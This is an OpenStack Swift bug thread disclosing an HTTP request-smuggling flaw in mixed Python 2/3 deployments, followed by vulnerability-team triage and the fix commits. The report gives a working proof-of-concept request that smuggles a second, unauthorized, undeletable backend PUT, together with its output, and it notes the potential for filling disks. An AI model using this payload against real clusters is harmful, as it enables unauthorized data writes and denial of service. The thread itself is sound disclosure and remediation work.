Mixed py2/py3 environment allows authed users to write arbitrary data to the cluster

[Tim Burke]

Python 3 doesn't parse headers the same way as python 2 [1]. We attempt to address this failing [2], but since we're doing it at the application level, eventlet can still get confused about what should and should not be the request body.

Consider a client request like

  PUT /v1/AUTH_test/c/o HTTP/1.1
  Host: saio:8080
  Content-Length: 4
  Connection: close
  X-Object-Meta-x-🌴: 👍
  X-Auth-Token: AUTH_tk71fece73d6af458a847f82ef9623d46a
  Transfer-Encoding: chunked

  aa
  PUT /sdb1/0/DUDE_u/r/pwned HTTP/1.1
  Content-Length: 4
  X-Timestamp: 9999999999.99999_ffffffffffffffff
  Content-Type: text/evil
  X-Backend-Storage-Policy-Index: 1

  evil
  0

A python 2 proxy-server will auth the user, add a bunch more headers, and send a request on to the object-servers like

  PUT /sdb1/312/AUTH_test/c/o HTTP/1.1
  Accept-Encoding: identity
  Expect: 100-continue
  X-Container-Device: sdb2
  Content-Length: 4
  X-Object-Meta-X-🌴: 👍
  Connection: close
  X-Auth-Token: AUTH_tk71fece73d6af458a847f82ef9623d46a
  Content-Type: application/octet-stream
  X-Backend-Storage-Policy-Index: 1
  X-Timestamp: 1565985475.83685
  X-Container-Host: 127.0.0.1:6021
  X-Container-Partition: 61
  Host: saio:8080
  User-Agent: proxy-server 3752
  Referer: PUT http://saio:8080/v1/AUTH_test/c/o
  Transfer-Encoding: chunked
  X-Trans-Id: txef407697a8c1416c9cf2d-005d570ac3
  X-Backend-Clean-Expiring-Object-Queue: f

(Note that the exact order of the headers will vary but is significant; the above was obtained on my machine with PYTHONHASHSEED=1.)

On a python 3 object-server, eventlet will only have seen the headers up to (and not including, though that doesn't really matter) the palm tree. Significantly, it sees `Content-Length: 4` (which, per the spec [3], the proxy-server ignored) and doesn't see either of `Connection: close` or `Transfer-Encoding: chunked`. The *application* gets all of the headers, though, so it responds

  HTTP/1.1 100 Continue

and the proxy sends the body:

  aa
  PUT /sdb1/0/DUDE_u/r/pwned HTTP/1.1
  Content-Length: 4
  X-Timestamp: 9999999999.99999_ffffffffffffffff
  Content-Type: text/evil
  X-Backend-Storage-Policy-Index: 1

  evil
  0

Since eventlet thinks the request body is only four bytes, swift writes down b'aa\r\n' for AUTH_test/c/o. Since eventlet didn't see the `Connection: close` header, it looks for and processes more requests on the socket, and swift writes a second object:

  $ swift-object-info /srv/node1/sdb1/objects-1/0/*/*/9999999999.99999_ffffffffffffffff.data
  Path: /DUDE_u/r/pwned
    Account: DUDE_u
    Container: r
    Object: pwned
    Object hash: b05097e51f8700a3f5a29d93eb2941f2
  Content-Type: text/evil
  Timestamp: 2286-11-20T17:46:39.999990 (9999999999.99999_ffffffffffffffff)
  System Metadata:
    No metadata found
  Transient System Metadata:
    No metadata found
  User Metadata:
    No metadata found
  Other Metadata:
    No metadata found
  ETag: 4034a346ccee15292d823416f7510a2f (valid)
  Content-Length: 4 (valid)
  Partition 705
  Hash b05097e51f8700a3f5a29d93eb2941f2
  ...

There are a few things worth noting at this point:

1. This was for a replicated policy with encryption not enabled.
   Having encryption enabled would mitigate this as the attack
   payload would be encrypted; using an erasure-coded policy would
   complicate the attack, but I believe most EC schemes would still
   be vulnerable.
2. An attacker would need to know (or be able to guess) a device
   name (such as "sdb1" above) used by one of the backend nodes.
3. Swift doesn't know how to delete this data -- the X-Timestamp
   used was the maximum valid value, so no tombstone can be
   written over it [4].
4. The account and container may not actually exist; it doesn't
   really matter as no container update is sent. As a result, the
   data written cannot easily be found or tracked.
5. A small payload was used for the demonstration, but it should
   be fairly trivial to craft a larger one; this has potential as
   a DOS attack on a cluster by filling its disks.

The fix should involve at least things: First, after re-parsing headers, servers should make appropriate adjustments to environ['wsgi.input'] to ensure that it has all relevant information about the request body. Second, the proxy should not include a Content-Length header when sending a chunk-encoded request to the backend.

[1] https://bugs.python.org/issue37093
[2] https://github.com/openstack/swift/commit/76fde8926
[3] https://tools.ietf.org/html/rfc7230#section-3.3.3 item 3
[4] https://github.com/openstack/swift/commit/f581fccf7

[Jeremy Stanley (fungi)]

Since this report concerns a possible security risk, an incomplete security advisory task has been added while the core security reviewers for the affected project or projects confirm the bug and discuss the scope of any vulnerability along with potential solutions.

[Tim Burke (1-tim-z)]

I *think* this should square it -- note that you'll need https://review.opendev.org/#/c/678674/ to get the new unit test passing, though. (Broke it out to make the fix more clear.)

[Jeremy Stanley (fungi)]

Which releases does this bug impact, or is it only master?

[Tim Burke (1-tim-z)]

We have no stable release yet that includes py3 support, so this just affects 2.22.0 and master.

[Jeremy Stanley (fungi)]

Thanks, so if your patch in comment #2 is acceptable to the other cores and can be merged before the OpenStack Train coordinated release, I think we can just patch it publicly and dispense with any need for a formal security advisory. Does anyone disagree? Basically report class Y: https://security.openstack.org/vmt-process.html#incident-report-taxonomy

[Tim Burke (1-tim-z)]

I think I'd be OK with that classification... but mainly because of our declaring only "experimental" support for py3 in 2.22.0.

[Jeremy Stanley (fungi)]

Yes, it does get a little weird since the bug in question appeared in a release only on the master branch of a project which maintains stable branches as well. There would be no guarantee of a means for distributors of 2.22.0 to backport a clean fix, though I suppose that could still be possible depending on how much they care about the related unit test issue. Regardless, since Python 3 support in 2.22.0 was marked as experimental, that means we could similarly consider it covered by class B3 in our report taxonomy as well.

As this plan has the consent of both the original reporter and the Swift PTL (being one and the same person), I won't delay further in switching it to public. Thanks, Tim!

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/682173
Committed: https://git.openstack.org/cgit/openstack/swift/commit/?id=291873e784aeac30c2adcaaaca6ab43c2393b289
Submitter: Zuul
Branch: master

commit 291873e784aeac30c2adcaaaca6ab43c2393b289
Author: Tim Burke <email address hidden>
Date: Thu Aug 15 14:33:06 2019 -0700

    proxy: Don't trust Content-Length for chunked transfers

    Previously we'd
    - complain that a client disconnected even though they finished their
      chunked transfer just fine, and
    - on EC, send a X-Backend-Obj-Content-Length for pre-allocation even
      though Content-Length doesn't determine request body size.

    Change-Id: Ia80e595f713695cbb41dab575963f2cb9bebfa09
    Related-Bug: 1840507

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/684041
Committed: https://git.openstack.org/cgit/openstack/swift/commit/?id=bf9346d88de2aeb06da3b2cde62ffa6200936367
Submitter: Zuul
Branch: master

commit bf9346d88de2aeb06da3b2cde62ffa6200936367
Author: Tim Burke <email address hidden>
Date: Thu Aug 15 14:33:06 2019 -0700

    Fix some request-smuggling vectors on py3

    A Python 3 bug causes us to abort header parsing in some cases. We
    mostly worked around that in the related change, but that was *after*
    eventlet used the parsed headers to determine things like message
    framing. As a result, a client sending a malformed request (for example,
    sending both Content-Length *and* Transfer-Encoding: chunked headers)
    might have that request parsed properly and authorized by a proxy-server
    running Python 2, but the proxy-to-backend request could get misparsed
    if the backend is running Python 3. As a result, the single client
    request could be interpretted as multiple requests by an object server,
    only the first of which was properly authorized at the proxy.

    Now, after we find and parse additional headers that weren't parsed by
    Python, fix up eventlet's wsgi.input to reflect the message framing we
    expect given the complete set of headers. As an added precaution, if the
    client included Transfer-Encoding: chunked *and* a Content-Length,
    ensure that the Content-Length is not forwarded to the backend.

    Change-Id: I70c125df70b2a703de44662adc66f740cc79c7a9
    Related-Change: I0f03c211f35a9a49e047a5718a9907b515ca88d7
    Closes-Bug: 1840507

[OpenStack Infra (hudson-openstack)]

This issue was fixed in the openstack/swift 2.23.0 release.

[OpenStack Infra (hudson-openstack)]

Fix proposed to branch: feature/losf
Review: https://review.opendev.org/686864

[OpenStack Infra (hudson-openstack)]

Reviewed: https://review.opendev.org/686864
Committed: https://git.openstack.org/cgit/openstack/swift/commit/?id=bfa8e9feb51f2b10adfec3a741661a76fcf73216
Submitter: Zuul
Branch: feature/losf

commit cb76e00e90aea834c8f3dd8a6ca5131acd43663b
Author: OpenStack Proposal Bot <email address hidden>
Date: Fri Oct 4 07:05:07 2019 +0000

    Imported Translations from Zanata

    For more information about this automatic import see:
    https://docs.openstack.org/i18n/latest/reviewing-translation-import.html

    Change-Id: I40ce1d36f1c207a0d3e99a3a84a162b21b3c57cf

commit 527a57ffcdefc03a5080b07d63f0ded319e08dfe
Author: OpenStack Release Bot <email address hidden>
Date: Thu Oct 3 16:35:36 2019 +0000

    Update master for stable/train

    Add file to the reno documentation build to show release notes for
    stable/train.

    Use pbr instruction to increment the minor version number
    automatically so that master versions are higher than the versions on
    stable/train.

    Change-Id: Ia93e0b690f47c6231423a25dfd6a108a60378a21
    Sem-Ver: feature

commit 8a4becb12fbe3d4988ddee73536673d6f55682dd
Author: Tim Burke <email address hidden>
Date: Fri Sep 27 15:18:59 2019 -0700

    Authors/changelog for 2.23.0

    Also, make some CHANGELOG formatting more consistent.

    Change-Id: I380ee50e075a8676590e755f24a3fd7a7a331029

commit bf9346d88de2aeb06da3b2cde62ffa6200936367
Author: Tim Burke <email address hidden>
Date: Thu Aug 15 14:33:06 2019 -0700

    Fix some request-smuggling vectors on py3

    A Python 3 bug causes us to abort header parsing in some cases. We
    mostly worked around that in the related change, but that was *after*
    eventlet used the parsed headers to determine things like message
    framing. As a result, a client sending a malformed request (for example,
    sending both Content-Length *and* Transfer-Encoding: chunked headers)
    might have that request parsed properly and authorized by a proxy-server
    running Python 2, but the proxy-to-backend request could get misparsed
    if the backend is running Python 3. As a result, the single client
    request could be interpretted as multiple requests by an object server,
    only the first of which was properly authorized at the proxy.

    Now, after we find and parse additional headers that weren't parsed by
    Python, fix up eventlet's wsgi.input to reflect the message framing we
    expect given the complete set of headers. As an added precaution, if the
    client included Transfer-Encoding: chunked *and* a Content-Length,
    ensure that the Content-Length is not forwarded to the backend.

    Change-Id: I70c125df70b2a703de44662adc66f740cc79c7a9
    Related-Change: I0f03c211f35a9a49e047a5718a9907b515ca88d7
    Closes-Bug: 1840507

commit 0217b12b6d7d6f3727a54db65614ff1ef52d6286
Author: Matthew Oliver <email address hidden>
Date: Wed Sep 4 14:30:33 2019 +1000

    PDF Documentation Build tox target

    This patch adds a `pdf-docs` tox target that will build
    PDF versions of our docs. As per the Train community goal:

      https://governance.openstack.org/tc/goals/selected/train/pdf-doc-...